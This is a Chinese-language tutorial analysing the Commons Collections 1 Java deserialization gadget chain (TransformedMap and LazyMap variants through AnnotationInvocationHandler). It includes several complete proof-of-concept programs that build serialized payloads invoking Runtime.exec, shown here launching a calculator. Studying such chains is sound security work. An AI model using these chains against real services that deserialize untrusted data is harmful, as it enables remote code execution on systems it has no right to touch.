CommonsCollections1反序列化分析

cc1

利用版本

CommonsCollections 3.1 - 3.2.1

限制

JDK版本:1.7 (8u71之后已修复不可利用)

分析1

涉及到的接口和类

TransformedMap

Untitled

Untitled

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

Untitled

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调函数“,这个回调的参数是原始对象。

ConstantTransformer

Untitled

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
 super();
 iConstant = constantToReturn;
}
public Object transform(Object input) {
 return iConstant;
}

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键。在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意

Untitled

public ChainedTransformer(Transformer[] transformers) {
 super();
 iTransformers = transformers;
}

public Object transform(Object object) {
 for (int i = 0; i < iTransformers.length; i++) {
 object = iTransformers[i].transform(object);
 }
 return object;
}

理解demo

了解了这⼏个Transformer的意义以后,我们再回头看看demo的代码。这两段代码就⽐较好理解了:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.getRuntime()),
 new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

我创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer,
直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参
数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator 。
当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后,怎么触发回调呢?这里我们可以发现在TransformedMap类里面有个put方法

Untitled

下面有对键和值进行transform的方法,选择一个transformValue跟进一下

Untitled

这里很显然如果传入的transformermap修饰过的值不是空的话,就调用他的transform方法,那么就会触发我们构造好的链子最后达到命令执行的效果,所以这里我们可以用put触发,这里的话两个值都随意,无关结果

outerMap.put("test", "xxxx");

测试代码

上述可得,总的代码为:

package ysoserial.test.util;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) throws Exception {
					//ConstantTransformer 触发transformer的时候返回 runtime
					//InvokerTransformer 执行一下命令呗
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
        };
				//transformerChain 前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
				//用TransformedMap修饰一下 被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx"); //触发
    }
}

运行一下:

Untitled

但是一个demo离一个真正可利用的POC还有很大的距离,所以我们需要着手对其进行修改,这里只是我们本地环境去测试这个链子的可行性,那么其实实际过程中我们需要找到触发点,也就是一个重写了readObject方法的类,如果他重写的readObject类里面恰好调用了put方法,而这个put方法又恰好可以依据传入类来执行,那么就符合我们的预期了

AnnotationInvocationHandler

(这里没找到8u71之前的环境,官网的貌似被替换了,所以annotationlnvocationhandler的内容都是文字,无实操)

我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可以手工执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,我们需要找到一个
类,它在反序列化的readObject逻辑里有类似的写入操作。这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject
方法(这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet() 和
memberValue.setValue(...) 。
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的
Transform,进而执行我们为其精心设计的任意代码。
所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的
HashMap设置进来:

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使
用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化了。
AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是
参数就是前面构造的Map。

为什么需要使用反射?

上一章我们构造了一个AnnotationInvocationHandler对象,它就是我们反序列化利用链的起点了。我们通过如下代码将这个对象生成序列化流:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

Untitled

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime 。
原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。
那么,如何避免这个错误呢?我们可以变通一下,看过前面《Java安全漫谈 - 反射篇》的同学应该知
道,我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成Transformer的写法就是如下:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};

其实和demo最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个
java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所
以可以被序列化。

为什么仍然无法触发漏洞?

修改Transformer数组后再次运行,发现这次没有报异常,而且输出了序列化后的数据流,但是反序列化时仍然没弹出计算器,这是为什么呢?

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不
是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术。直接给
出两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
    Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以,这也解释了为什么我前面用到 Retention.class ,因为Retention有一个方法,名为value;所以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx");

但是,如下最后写出来的代码,最终只适用于Java 8u71以前的版本,在8u71以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:

Untitled

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");//键必须是value 对应Retention注解类里面的一个方法

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //构造方法默认 所以只能反射调用
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        serialize(handler);
        unserialize("test.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

LazyMap

流程

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执
行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap
的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

Untitled

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法。所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get:

Untitled

那么又如何能调用到 AnnotationInvocationHandler#invoke 呢?ysoserial的作者想到的是利用Java
的对象代理。

Java对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需
要用到 java.reflect.Proxy :
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要
代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

比如,我们写这样一个类ExampleInvocationHandler:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws
            Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一 个特殊字符串 HackedObject 。

在外部调用这个ExampleInvocationHandler:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new
                HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new
                HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

运行App,我们可以发现,虽然我向Map放入的hello值为world,但我们获取到的结果却是 HackedObject :

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就 是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要 调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get 。

使用LazyMap构造利用链

所以,在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap替换 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

这个代码是不需要注意Retention.class 因为触发点在**memberValues**.entrySet()

分析2

对TransformedMap链子的另一种分析

1.流程和基础

Untitled

一个普通的java反射写法

Class c=Runtime.class;
        Method getRuntime = c.getMethod("getRuntime");
        Runtime r=(Runtime)getRuntime.invoke(null);

        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(r,"calc");

Untitled

然后我们改成invokertransform方法,可以看到这里invokertransformer方法有三个参数,方法名,class数组 里面存放方法类型,object数组 里面存放方法需要的参数,只要执行了他的transform方法后就会invoke

Untitled

所以我们的实现代码:

Class c=Runtime.class;
        Method getRuntime = c.getMethod("getRuntime");
        Runtime r=(Runtime)getRuntime.invoke(null);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

Untitled

相当重新实现了一个反射,所以现在我们找到了InvokerTransformer里面的transform方法是个危险函数 所以

2.初步寻找链子

此时我们就应该往前找,找一下谁调用了同名transform

Untitled

然后这里通过find usages可以很轻松发现我们需要寻找调用了transform的地方,这里我们分析一下checkSetValue

Untitled

这里发现checkSetValue是属于TransformedMap类里面的,可以简单看一下类的构造方法,首先发现是protected类型的,意思是就只能被自己调用(这里的话就是被他的decorate方法调用了),然后就是传入一个map,一个key的修饰,一个value的修饰

Untitled

我们再去找哪里调用了checkSetValue,findusages后发现只有AbstractInputCheckedMapDecorator抽象类里面的MapEntry类的setValue方法调用了

Untitled

setValue其实就是再Map中对一组entry(键值对)进行赋值的操作,如下是一种遍历map类型的方法

Untitled

所以到此为止我们可以认为只要出发了setValue就可以触发calc ,写一个测试代码:

Class c=Runtime.class;
        Method getRuntime = c.getMethod("getRuntime");
        Runtime r=(Runtime)getRuntime.invoke(null);
//
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");

        InvokerTransformer i = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        Hashtable<Object, Object> map = new Hashtable<>();
        map.put("key","zzz");
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, i);

        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }

Untitled

3.寻找链首

现在我们在setValue处,我们继续find 找一下有没有readObject里面调用setValue的,最后找到了一个AnnotationInvocation类的readObject调用了setValue(当然不是只有这步才能找,其实之前早找到readobject早结束了)

Untitled

在调用setValue方法之前 我们还需要吧这几个if条件都给满足

Untitled

4.手写EXP

因为AnnotationInvocationHandler的作用域为default,也就是我们只能在相应的包下面进行调用,所以我们需要通过反射的方式来获取这个类及其构造函数,再实例化它

Untitled

通过反射获取类:

Class  cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annot = cl.getDeclaredConstructor(Class.class, Map.class);
        annot.setAccessible(true);
        annot.newInstance(Override.class,transformedmap);

因为类的构造方法不是Public,并且不是无参的构造函数,所以只能通过getDeclareConstructor获取构造方法,通过setAccessible设置作用域最终访问其构造方法

这里还有几个问题需要解决:

  • Runtime对象是不可被序列化的,所以要通过反射把它变成课序列化的形势
  • setValue()的参数,只有传入的是Runtime对象,才能顺利调用恶意代码;然而实际情况中setValue()传入的是下面依托

Untitled

  • 然后就是if判断也要解决

1.Runtime对象的反序列化问题

Runtime是不能被反序列化的 因为没有实现serialize接口,但是Class类又大量的serialize接口所以我们可以通过反射来实现Runtime

Class c = Runtime.class;
        Method getruntime = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) getruntime.invoke(null,null);  //第一个null因为getruntime是静态方法,所以不用给第一个参数,第二个null代表没参数
        Method execgetMethod = c.getMethod("exec",String.class);
        execgetMethod.invoke(runtime,"calc");

把上述反射修改成使用InvokerTransformer调用的方式

Class c = Runtime.class;
 
//对应 Method getruntime = c.getMethod("getRuntime");
Method getruntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
 
//对应 Runtime runtime =(Runtime) getruntime.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);
 
//对应 Method execgetMethod = c.getMethod("exec", String.class);
//对应 execgetMethod.invoke(runtime, "calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

Untitled

梳理一下代码的逻辑 我们发现了

1.格式都是 new InvokerTransformer.transform()

2.前一个transform的结果作为后一个transform的参数

此时我们就可以想到了 有个ChainedTransformer这个类里面的transform方法就可以实现如上的逻辑,构造方法是需要传入一个transform数组 然后通过transform方法里面的for来实现头尾循环用那种感觉吧,当然第一个参数就是我们自己传递进去的,对应着下文中的Runtim.class对象

Untitled

Untitled

所以我们修改EXP,把ChainedTransformer加入到我们的代码中

Class c = Runtime.class;

        Transformer[] transformer = {new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        new ChainedTransformer(transformer).transform(c);

再把它与decorate结合一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = {
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(c);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "xxx");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annot = c.getDeclaredConstructor(Class.class, Map.class);
        annot.setAccessible(true);
        Object o = annot.newInstance(Override.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

此时Runtime的问题我们结局了,但是运行后还是不会弹出计算器,是因为我们的EXP没有进行transformer的调用,调试一下看看

2.满足所有IF

我们在AnnotationInvocationHandler的两个 if 判断打断点,可以看到运行到第一个if的时候我摩恩的memberType还是null 所以无法满足第一个if

Untitled

明显可以看到membertype的来源是membertypes,而这个membertypes有事来自annotation,当然也就是AnnotationType.getInstance(Type)

Untitled

然后我们看一下我们传入的Type 也就是Override,发现里面空空如也

Untitled

这里的话我们可以换成Retention 可以发现里面室友这个value的

Untitled

修改代码再次调试一下

Untitled

Untitled

这里有个逻辑就是我们得到的memberTypes的key=value 所以我们必须把put的key改成value才能你让下面memberType = memberTypes.get(name);获取到对应的值

那么第二个的话是判断value(也就是xxx) 能不能强制转换为memberType,而memberType是注解类型,字符类型肯定是转换不了的,所以顺利进入第二个if

3.解决setValue参数控制

这里我们的setvalue貌似就是写死的

Untitled

我们可以调试一下然后跳过去看看,应该就是一个固定的这个

Untitled

所以这里存在什么问题呢,我们知道 当setValue的时候会触发checksetvalue 然后进一步触发我们构造的chainedtransform的transform方法,然后开始链式调用,那么我们setValue传入的参数就会作为第一个链式调用的时候的参数,也就是new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})的transform需要的参数,而我们需要的是一个Runtime.class,也就是我们需要可控,而上面我们分析Annotation里面的是个固定的,所以这里就需要我们的ConstantTransformer了

Untitled

Untitled

这里我们可以发现ConstTransformer的transform方法就是把构造函数传入的参数返回,也就是说我们只要写好后就不会收到传入参数的影响,返回值是固定的 只由构造函数决定,所以我们修改一下EXP,在Transformer数组头部加入new ConstantTransformer(Runtime.class)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(c);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "xxx");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annot = c.getDeclaredConstructor(Class.class, Map.class);
        annot.setAccessible(true);
        Object o = annot.newInstance(Retention.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Untitled

这里我们成功执行了,然后也可以调试一下

Untitled

这里发现执行ConstrantTransformer的transform方法的时候 传入的还是Annotation…也就是我们说的哪个固定值,但是返回的却是我们可控的Runtime.class,也就是说我们操作成功了

ysoserial的一些其他操作

有时候调试上述POC的时候,会发现弹出了两个计算器,或者没有执行到readObject的时候就弹出了计算器,这显然不是预期的结果,原因是什么呢?
在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所
以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。
ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain
中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次
Proxy#invoke ):

Untitled

ConstantTransformer(1) 最后的目的可能是为了隐蔽启动进程的日志特征

LazyMap与TransformedMap的对比

前面我们详细分析了LazyMap的作用并构造了POC,但是和上一篇文章中说过的那样,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。
